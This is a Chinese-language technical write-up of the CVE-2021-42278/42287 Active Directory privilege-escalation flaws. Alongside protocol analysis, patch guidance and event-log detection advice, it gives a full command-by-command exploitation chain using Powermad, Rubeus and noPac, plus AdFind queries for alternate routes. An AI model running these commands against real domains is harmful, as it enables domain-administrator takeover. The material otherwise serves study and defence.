文章首發于安全客:https://www.anquanke.com/post/id/264500
0x00 漏洞背景
今年十一月Cliff Fisher 在推特披露了CVE-2021-42278和CVE-2021-42287兩個關于AD域漏洞相關資訊,該漏洞影響巨大,在默認情況下只需一個域用戶即可拿到域內最高權限,
0x01 披露時間線
11月10日Cliff Fisher在推特發布了相關的漏洞資訊,
12月10日Charlie Clark在博客發布漏洞原理及利用手段,
12月11日cube0x0在github發布了noPac,實作了真正的武器化,
0x02 漏洞概述
漏洞的產生本質是windows機器賬戶和kerbeors之間協調溝通所產生的邏輯問題,
CVE-2021-42278 - KB5008102
允許攻擊者任意修改計算機帳戶sAMAccountName欄位,進而模擬域控申請票據,
加入域的機器賬戶默認由$結尾,samAccountName默認和域機器名一致,但DC沒有對sAMAccountName屬性進行合法性判斷,導致洗掉sAMAccountName結尾的$照樣可以以機器用戶身份申請TGT票據,
什么是sAMAccountName
sAMAccountName 屬性是一個登錄名,用于支持以前版本的 Windows 中的客戶端和服務器,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager, 登錄名必須少于 20 個字符,在域中的所有安全主體物件中必須唯一,并且不能包含以下任何字符:
- "/ \ [ ] : ; | = , + * ? < >
userPrincipalName是基于Internet標準RFC 822的用戶樣式登錄名,UPN是可選并在域林中的安全主體物件名中保持唯一,在創建用戶時可以指定也可不單獨指定,用戶格式為:[email protected],
域名:redteam.lab
SamAccountName:marry
NetBIOS登錄名:reedteam\marry
UserPrincipalName:[email protected]

在 Active Directory中,存盤帳戶登錄名或用戶物件實際上是命名符號“Domain\LogonName ”中使用NetBIOS名稱組合,該屬性是域用戶物件的必需屬性;而SAMAccountName應始終與UPN主體名稱保持一致,即SAMAccountName必須等于屬性“UserPrincipalName” 的前綴部分,
更改sAMAccountName
漏洞憑借修改計算機帳戶sAMAccountName欄位來模擬域控申請票據,但直接將域內機器Evilsystem的sAMAccountName改為與域控相同(不加$),結果顯示例外,

原因如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所說:
修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 屬性時SPN 串列會自動更新,
添加機器帳戶默認會創建4個SPN,包括以下內容:
1. HOST/MachineAccountName
2. HOST/MachineAccountName.domain.name
3. RestrictedKrbHost/MachineAccountName
4. RestrictedKrbhost/MachineAccountName.domain.name
意味著Evilsystem 將要改成與域控相同的SPN,但是SPN是網路控制器服 務實體的唯一識別符號, Kerberos身份驗證使用它來將服務實體與服務登錄帳戶相關聯,這時會產生沖突;但servicePrincipalName在設定以上屬性之前已被洗掉,那么SPN串列將不會更新,除非再次給該欄位賦值,所以在修改samAccountName前洗掉其SPN屬性,
sAMAccountType屬性
sAMAccountType表示在Active Directory 中安全主體物件的帳戶型別,在LDAP查詢中,常常用其篩選域機器和域用戶等其他物件,
sAMAccountType=268435456(安全組)
sAMAccountType=268435457(非安全組)
sAMAccountType=536870912(別名物件)
sAMAccountType=536870913(非安全別名物件)
sAMAccountType=805306369(機器物件)
sAMAccountType屬性可能存在的值:
| Name | Value |
|---|---|
| SAM_DOMAIN_OBJECT | 0x0 |
| SAM_GROUP_OBJECT | 0x10000000 |
| SAM_NON_SECURITY_GROUP_OBJECT | 0x10000001 |
| SAM_ALIAS_OBJECT | 0x20000000 |
| SAM_NON_SECURITY_ALIAS_OBJECT | 0x20000001 |
| SAM_USER_OBJECT | 0x30000000 |
| SAM_MACHINE_ACCOUNT | 0x30000001 |
| SAM_TRUST_ACCOUNT | 0x30000002 |
| SAM_APP_BASIC_GROUP | 0x40000000 |
| SAM_APP_QUERY_GROUP | 0x40000001 |
| SAM_ACCOUNT_TYPE_MAX | 0x7ffffff |
cn: SAM-Account-Type
ldapDisplayName: sAMAccountType
attributeId: 1.2.840.113556.1.4.302
attributeSyntax: 2.5.5.9
omSyntax: 2
isSingleValued: TRUE
schemaIdGuid: 6e7b626c-64f2-11d0-afd2-00c04fd930c9
systemOnly: FALSE
searchFlags: fATTINDEX
attributeSecurityGuid: 59ba2f42-79a2-11d0-9020-00c04fc2d3cf
isMemberOfPartialAttributeSet: TRUE
systemFlags: FLAG_SCHEMA_BASE_OBJECT |
FLAG_ATTR_REQ_PARTIAL_SET_MEMBER
schemaFlagsEx: FLAG_ATTR_IS_CRITICAL
UserAccountControl
UserAccountControl包含一系列標志,這些標志定義了用戶物件的一些重要基本屬性,可以通過分配給該屬性的值通知 Windows 每個主體啟用了哪些選項,
該屬性標志是累積性的,比如要禁用用戶的帳戶,UserAccountControl 屬性被設定為 514 (2 + 512),
LEX官網對這個屬性進行了整理,以下為常見型別:
| UF_NORMAL_ACCOUNT ( 512 ) | 這是一個普通域用戶, |
|---|---|
| UF_WORKSTATION_TRUST_ACCOUNT ( 4096 ) | 這是一個普通域機器, |
| UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 ) | 這是一個代表與外部域的信任連接的帳戶,通常,帳戶名稱是域的 NetBIOS 名稱,末尾帶有“$”, |
| UF_SERVER_TRUST_ACCOUNT ( 8192 ) | 這是一個域控帳戶, |
| UF_DONT_EXPIRE_PASSWD (65536) | 這個用戶不受有關域內密碼策略相關的影響,且密碼永不過期, |
| UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (128) | 代表可逆加密存盤用戶密碼 ,如果用戶更改密碼就能解密獲得其明文密碼, |
| UF_ACCOUNT_DISABLE ( 2 ) | 代表帳戶被禁用,并且無法再向域進行身份驗證, |
https://blog.csdn.net/xjzdr/article/details/3553246也對UserAccountControl進行了詳細解釋,
UserAccountControl定義了用戶物件的重要基本屬性,微軟以sAMAccountName的值是否以$結尾來區別windows域內的普通域用戶和機器賬戶,但UserAccountControl并沒有規定計算機帳戶的sAMAccountName必須以$結尾,域機器sAMAccountName去掉最后的$照樣可以以機器賬戶的身份申請TGT票據,為后面的CVE-2021-42287觸發提供了先行條件,
CVE-2021-42287 KB5008380
影響 Kerberos 特權屬性證書 (PAC) 并允許攻擊者通過S4U2Self冒充域控申請ST的安全繞過漏洞,
微軟依照是否以$結尾來區別windows域內的普通域用戶和機器賬戶,所以按照慣例默認給機器賬戶加$,而kerberos認證時并不會區別對待;為了兼容這種情況,如果kerberos認證票據時沒有找到對應的域用戶,會采用在用戶名稱后添加$進行重試認證的fallback,
在有PAC 的情況下請求 TGT,并且為與DC具有相同的sAMAccountName(不帶$)的機器帳戶請求 S4U2self 票據,當初始帳戶不存在時自動進行重試認證fallback,KDC沒有驗證請求TGT的帳戶是否與服務票證中參考的帳戶相同,結果在ST中使用DC的密鑰進行加密,
在默認設定的 Active Directory 環境中可以通過一個域用戶憑證拿到域內最高權限,
0x03 漏洞原理
微軟以是否以$結尾來區別windows域內的普通域用戶和機器賬戶,而kerberos認證時并不會區別對待;為了兼容這種情況,如果kerberos認證票據時沒有找到對應的域用戶,會采用在用戶名稱后添加$進行重試認證的fallback,
kerberos認證的CName String/SName String均從sAMAccountName提取,如果域控是DC2$,一臺域機器的sAMAccountName被改為DC2,那么當域用戶申請TGT后將sAMAccountName更改為其他值,進而在申請ST票據時,kerberos找不到DC2這個機器用戶,于是會觸發fallback變為DC2$,在S4U階段生成了新的用于訪問自身的高權限PAC,KDC沒有識別高權限ST作用于哪個機器賬戶、PAC也沒有原始請求者的資訊,于是在ST中使用域控的密鑰進行加密,這樣就拿到了域控的ST票據,從而模擬域控上任意服務的任意用戶進行訪問登陸,
XP原始碼分析
https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA這篇文章寫的很清楚,有興趣可以看看,
KdcGetTicketInfo
首先判斷是否是krbtgt賬戶,如果是則直接呼叫GetKrbtgt函式獲取TicketInfo
判斷是否是本域的用戶,并進行三次查找:
- 首先直接查找傳入的用戶
- 然后查找傳入的
username+$ - 仍未找到則查找其 altSecurityIdentities 屬性的value
這就是第一個漏洞產生的原因,sAMAccountName沒有$的機器賬號如果沒有找到會加$進行callback重試,
KdcInsertAuthorizationData
KdcInsertAuthorizationData中可以找到KDC Server獲取PAC的處理邏輯:
1.如果不是S4U的請求,則直接從TGT的AuthData中提取PAC(沿用最初的PAC),
說明了S4U的重要性,如果沒有S4U2self,將會沿用最初的PAC;最初的PAC在AS-REP階段憑請求用戶身份生成,沒有權限訪問域控相關服務,
2.如果是S4U請求,首先呼叫KdcGetS4UTicketInfo請求獲取S4UUserInfo,再呼叫kdcGetPacAuthData函式來構造PAC data,
kdcGetPacAuthData:若原票據不存在PAC,則會構造一個新的PAC;若無法構造,則直接復制PAC,
KdcGetS4UTicketInfo函式的處理邏輯中又呼叫了KdcGetTicketInfo,也就是通過這把前后兩個漏洞組合在了一起,

因此得到和上面一樣的結論:
S4U2self拓展用于AS-REQ將票證檢索到自身來模仿任意用戶訪問,而KDC在S4U2Self階段會將SFU填充的欄位從TGT中的PAC復制到新創建的PAC中,在進行自動添加$進行callback時,KDC并沒有識別高權限ST作用于哪個機器賬戶、PAC也沒有原始請求者的資訊,出現鑒權問題從而產生漏洞,
通過公開EXP截取資料分析
wireshark中提供直接將keytab 匯入Kerberos,能將PAC等加密欄位進行解密,
kerberos認證

整體流程
1.AS_REQ:client用client_hash(一般使用RC4加密)、時間戳向KDC進行預身份驗證,
2.AS_REP:KDC檢查client_hash與時間戳,如果正確則回傳client由krbtgt哈希加密的TGT票據和PAC等相關資訊,
3.TGS_REQ:client向KDC請求TGS票據,出示其TGT票據和請求的SPN,
4.TGS_REP:KDC如果識別出SPN,則將該服務賬戶的NTLM哈希加密生成的ST票據回傳給client,
5.AP_REQ:client使用ST請求對應服務,將PAC傳遞給服務進行檢查,服務通過PAC查看用戶的SID和用戶組等并與自身的ACL進行對比,如果不滿足則作為適當的RPC狀態代碼回傳,
6.AP_REP:服務器驗證AP-REQ,如果驗證成功則發送AP-REP,客戶端和服務端通過中途生成的Session key等資訊通過加解密轉換驗證對方身份,

AS-REQ:
域控為DC2$,這里申請sAMAccountName為DC2(不帶$)的TGT票據
- 請求的用戶端資訊
- 加密型別
- Authenticator(用戶Hash加密時間戳)

AS-REP:
- 通過活動目錄查詢用戶得到用戶的Hash,用Hash解密Authenticator,如果解密成功并且時間戳在規定時間內(一般為五分鐘),則預認證成功,
- 生成由krbtgt用戶Hash加密的TGT認購權證,用于確保客戶端和DC進行安全通信的用戶Hash加密后的Login Session Key(作為下一階段的認證秘鑰),
- 回傳TGT(TGT中包含PAC,PAC包含Client的sid,Client所在的組)、Login Session Key、和時間戳,

PAC
PAC由KDC在AS-REP中生成,其中包含用戶sid和組等資訊,當client在AD域內進行身份認證的時候,KDC會把這些資訊添加到TGT票據加密回傳;KDC主要通過PAC中的GroupIds和Userid與要訪問服務的ACL進行比較,判斷client是否有權限對其進行訪問,

KDC在AP-REQ訪問服務時檢查PAC,同時 TGS 解密驗證簽名是否正確,然后再重新構造新的 PAC 放在 ST 里回傳給client,client將 ST 發送給服務端進行驗證,Server再將此資訊與用戶所索取的資源的ACL進行比較,以此判斷用戶是否有權限對其進行訪問,
PAC里面包含了用戶SID、組等資訊,在 PAC 中包含PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM兩個數字簽名 ,這兩個數字簽名分別由Server NTLM Hash和KDC NTLM Hash加密,并且PAC對于用戶和服務全程都不可見,只有KDC能制作和查看PAC,
PAC結構是一個AuthorizationData
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
結構如下:

可以看到ad-type為AD-IF-RELEVANT,
ad-data也是一個AuthorizationData,ad-type為AD-WIN2K-PAC,ad-data為一個PACTYPE的結構體和幾個PAC_INFO_BUFFER 結構陣列;PACTYPE結構是PAC的最頂層結構,指定PAC_INFO_BUFFER陣列中的元素數,PACTYPE結構用作完整PAC資料的標頭,
每個 PAC_INFO_BUFFER 定義了 PAC 緩沖區的型別和位元組偏移量,用作指向遵循此標頭的PAC內容的指標,PAC_INFO_BUFFER 陣列沒有定義的順序,因此PAC_INFO_BUFFER 緩沖區的順序沒有意義,但是,一旦生成了 KDC 和服務器簽名,緩沖區的順序不得更改,否則 PAC 內容的簽名驗證將失敗,
PACTYPE結構如下:

PAC_INFO_BUFFER結構如下:

其中ulType描述在Offset處包含的緩沖區中存在的資料型別,
| Value | Meaning |
|---|---|
| 0x00000001 | 登錄資訊,PAC結構必須包含一個此型別的緩沖區,必須忽略其他登錄資訊緩沖區, |
| 0x00000002 | 憑證資訊,PAC結構不應包含多個此類緩沖區,第二個或后續憑證資訊緩沖區在收到時必須忽略, |
| 0x00000006 | 服務器校驗和,PAC結構必須包含一個此型別的緩沖區,必須忽略其他登錄服務器校驗和緩沖區, |
| 0x00000007 | KDC校驗和,PAC結構必須包含一個此型別的緩沖區,必須忽略其他KDC校驗和緩沖區, |
| 0x0000000A | 客戶名稱和票據資訊,PAC結構必須包含一個此型別的緩沖區,必須忽略其他客戶端和票證資訊緩沖區, |
| 0x0000000B | 受約束的委派資訊,PAC結構必須包含一個此型別的緩沖區,以便為S4U2proxy請求提供服務,否則不包含任何緩沖區,必須忽略其他受約束的委派資訊緩沖區, |
| 0x0000000C | 用戶主體名稱(UPN)和域名系統(DNS)資訊,PAC結構不應包含多個此型別的緩沖區,第二個或后續UPN和DNS資訊緩沖區在收到時必須忽略, |
| 0x0000000D | 客戶索賠資訊,PAC結構不應包含多個此型別的緩沖區,必須忽略其他客戶端索賠資訊緩沖區, |
| 0x0000000E | 設備資訊,PAC結構不應包含多個此型別的緩沖區,必須忽略其他設備資訊緩沖區, |
| 0x0000000F | 設備索賠資訊,PAC結構不應包含多個此型別的緩沖區,必須忽略其他設備宣告資訊緩沖區, |
| 0x00000010 | 票證校驗和PAC結構不應包含多個此型別的緩沖區,必須忽略其他票證校驗和緩沖區, |
0x00000006 對應的是Server檢驗和,0x00000007 對應的是KDC校驗和,前面說過PAC包含server和KDC簽名,就是為了防止PAC內容被篡改,
KERB_VALIDATION_INFO
KERB_VALIDATION_INFO結構定義了DC提供的用戶登錄和授權資訊,并由RPC編組,結構定義如下:
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
主要看UserId、GroupCount和GroupId欄位:
Userid:域SID+用戶RID(用戶SID)
GroupCount:包含帳戶所屬帳戶域內的組數,
GroupID:指向GROUP_MEMBERSHIP GroupIds結構串列的指標,其中包含帳戶域中帳戶所屬的組,此串列中的組數必須等于GroupCount,其中513為域用戶,512、520、518、519 是域管組,
MS14068就是將高權限的GroupId插入到偽造的PAC中從而提升權限達到接管域的目的,
TGT包含PAC,定位到ticket→enc-part→PAC_LOGON_INFO

Domain Computers的Group RID都為515,現在的PAC代表申請的是機器賬戶身份,

TGS-REQ:
將sAMAccountName為DC2的機器賬戶改為其他任意值,申請其ST
- 客戶端資訊
- Authenticator(Login Session Key加密時間戳)
- TGT認購權限
- 訪問的服務名
TGSREQ攜帶ap-req,利用as-rep獲取到的TGT票據并用上S4U2Self拓展,以administrator的身份請求DC2 cifs服務的ST票據,

上圖中的ticket和as-rep回傳的ticket都是TGT票據,client用此進行TGS相關后續認證,
S4U2Self
S4U包括和S4U2self和S4U2proxy,S4U2proxy允許服務代表用戶獲得不同服務的服務票證的擴展,通常用于服務進行委派,這里不再敘述,有興趣可以看關于委派相關的章節,
這個漏洞出在S4U2Self上,先來了解一下認證流程,
服務可以使用S4U2self將票證檢索到自身,允許服務代表用戶向自身獲取Kerberos服務票據,包含用戶的組,因此可用來授權,且S4U2self擴展可用于獲取PAC,以確定用戶是否對服務具有訪問權限,
下圖描述了從服務處理TGS的S4U2self TGS-REQ訊息,

1.服務使用S4U2self擴展來代表用戶向自身檢索服務票證,該服務填寫PA-FOR-USER資料結構,并向TGS發送TGS-REQ,
2.如果TGS支持PA-FOR-USER擴展,TGS在TGS-REP中回傳用戶的ST票據,ST回傳的PAC包含授權資料,
PA-FOR-USER結構:
PA-FOR-USER ::= SEQUENCE {
-- PA TYPE 129
userName [0] PrincipalName,
userRealm [1] Realm,
cksum [2] Checksum,
auth-package [3] KerberosString
}
PA-FOR-USER由四個欄位組成:userName、userRealm、cksum和auth-package,
userName為用戶的名稱,默認名稱型別為NT-UNKNOWN,
userRealm是用戶帳戶的當前域,
auth-package欄位必須設定為字串“Kerberos”,并且不區分大小寫,
cksum為前三者的校驗和,使用KERB_CHECKSUM_HMAC_MD5函式計算,

在微軟官方檔案中提到:

如果KDC支持PAC,KDC必須將S4U填充的欄位從TGT中的PAC復制到新創建的PAC,并在處理其支持的所有欄位后, KDC必須生成新的服務器簽名和KDC簽名,以替換PAC中的現有簽名欄位,
即在S4U階段創建了新的PAC,而新生成的PAC為后面的漏洞利用提供了充分條件,
TGS-REP:
- 檢查自身是否存在服務,如果存在,通過krbtgt解密TGT并通過Login Session Key解密Authenticator(Login Session Key加密時間戳),就驗證了對方身份,然后驗證時間戳是否在范圍內,并且驗證TGT中的時間戳是否過期,原始地址是否和TGT保存的地址相同等,
- 生成用AS-REP得到的Login Session Key加密后的用于確保安全傳輸的Server Session Key,
- 完成認證后,TGS生成ST票據,其中包括:客戶端資訊和原始的Server Session Key,
整個ST票據由該服務的NTLM Hash加密, - 將ST和Server Session Key發送給客戶端,

結果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高權限PAC用于訪問申請的服務,

在申請ST票據時,kerberos找不到DC2這個用戶,由于是機器賬戶會觸發fallback自動添加$變為DC2$, 結果在 ST 中使用域控的密鑰進行加密,進而可以模擬域控上任意服務的任意用戶進行訪問登陸,
由此可見S4U2Self階段是漏洞觸發的關鍵點,如果沒有S4U2Self就不會生成新的高權限PAC,流程沒有任何問題,只是在這之后沒有做好鑒權:PAC沒有原始請求者的資訊、KDC沒有識別高權限ST作用于哪個機器賬戶,從而產生了漏洞,
0x04 漏洞利用
整體流程
假設域內DC機器名為DC1$
1.利用域用戶創建域機器Evil,
2.清除Evil的SPN屬性,
3.將域機器Evil的sAMAccountName屬性更改為DC1(不帶$),
4.為Evil請求TGT,隨后將其sAMAccountName更改為其他名字(除DC1均可),
5.通過S4U2self向KDC請求DC1的ST票據(可以任意指定service型別);KDC找不到DC1這個機器賬號,在DC1后面自動添加$匹配為DC1$(域控),從而回傳域控機器賬戶代替DC1 的ST票證,
利用步驟
1.利用域用戶創建域機器Evilsystem
域內任意域用戶默認可以添加10臺域機器,這是用于加域的正常功能,在LDAP中呈現的欄位為ms-DS-MachineAccountQuota的值,

(1)powermad:
默認會自動為其創建機器注冊SPN
以任意普通域用戶創建一個名為Evilsystem,密碼為1qaz@WSX的域機器
New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)


(2)addcomputer.py
默認不會自動為其創建機器注冊SPN


2.清除Evilsystem的servicePrincipalName屬性(addcomputer.py添加機器用戶省略這一步驟)
Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear 'serviceprincipalname' -Verbose


3.將域機器Evilsystem的sAMAccountName屬性更改為DC1(不帶$)
Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1" -Attribute samaccountname -Verbose


4.為Evilsystem請求TGT,隨后將sAMAccountName更改為其他名字(除DC1均可)
Rubeus.exe asktgt /user:"DC1" /password:"1qaz@WSX" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap

Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil" -Attribute samaccountname -Verbose

5.通過S4U2self向KDC請求DC1的ST票據(可以任意指定service型別)
在這里模擬了administrator用戶訪問DC1上cifs服務的ST票據,這可以是域中任何系統上任何服務上的任何用戶,
(也可以申請host服務票據直接添加用戶,或者直接申請ldap的票據進行dcsync,)
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt /ticket:doIEujCCBLag..

驗證結果

公開EXP利用:
https://github.com/cube0x0/noPac
noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc dc1.redteam.lab /mAccount Evils /mPassword 1qaz@WSX /service cifs /ptt

其他利用場景
漏洞利用的最終條件就是在域控沒打補丁的情況下,能夠任意修改域機器的SPN和sAMAccountName屬性進行濫用,
1.林信任利用
Charlie Clark在后面的文章中展示了林信任的利用方式
A域和B域互相信任,如果有A域a用戶的權限,可以利用信任關系在B域創建計算機賬戶達到漏洞利用,
2.MAQ=0利用
前面的利用基于MAQ(MachineAccountQuota)創建域機器來實作,如果限制MAQ,有以下思路:
(1).CreatorSID
按照微軟的ACL規定,創建者即為所有者,所有者必定擁有完全控制權限,當然包括更改名稱等一系列屬性,
利用MAQ創建域機器利用的方式其實就是利用了CreatorSID屬性,在一些域內有專門拉機器賬戶進域的用戶,比如carn1用戶將demo123機器拉入域內,則demo123的CreatorSID指向carn1,

通過SID查詢Creator
AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))" objectclass cn dn

查詢carn1對demo123的ACL權限
AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab" nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute

在拿到一個域用戶權限后,可以遍歷LDAP查找具有CreatorSID屬性的域機器和對應的域用戶,如果我們已經有了對應的域用戶權限,就可以利用這個用戶修改對應域機器的屬性來進行漏洞利用,
查找每個域機器的加域賬號AdFind.exe -b “DC=redteam,DC=lab” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID
通過用戶的sid查看哪些域機器是通過自己加入到域內的:
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory
(2).ACL權限
域內拿到A用戶權限后,遍歷ACL發現其對域機器B有 GenericAll / GenericWrite等權限,可以通過A直接修改B的屬性利用,遍歷ACL分析通常用在窮途末路的時候,更適合做一個后門使用,具體使用依情況而定,
0x05 漏洞修復
1.打KB5008102, KB5008380補丁,
2.MAQ(MachineAccountQuota)屬性值設為0,
3.遍歷域內并清除相關可能被利用的ACL,
4.創建名為PacRequestorEnforcementtypeREG_DWORD的注冊表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc,并為其值設為2,這樣的話舊的TGT就不再起作用,讓入侵者以前生成的憑據無效,
0x06 日志分析
1.創建機器賬號產生4741事件

2.洗掉SPN產生4742事件

3.將sAMAccountName改為DC1產生4781事件

4.申請TGT并改名產生4768、4781事件


5.通過S4U獲取ST產生4769事件

在上述日志中,TGT和ST的申請在域內太過頻繁、如果是通過impacket中的addcomputer.py添加的機器賬號默認不會包含SPN、所以可隨時監控4741(創建機器賬號產生)、4781(更改sAMAccountName名稱)來確保域內沒有被濫用此漏洞,當然最重要的還是對漏洞進行修復,
0x07 參考
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/401430.html
標籤:訊息安全
上一篇:替換R中字串末尾的點
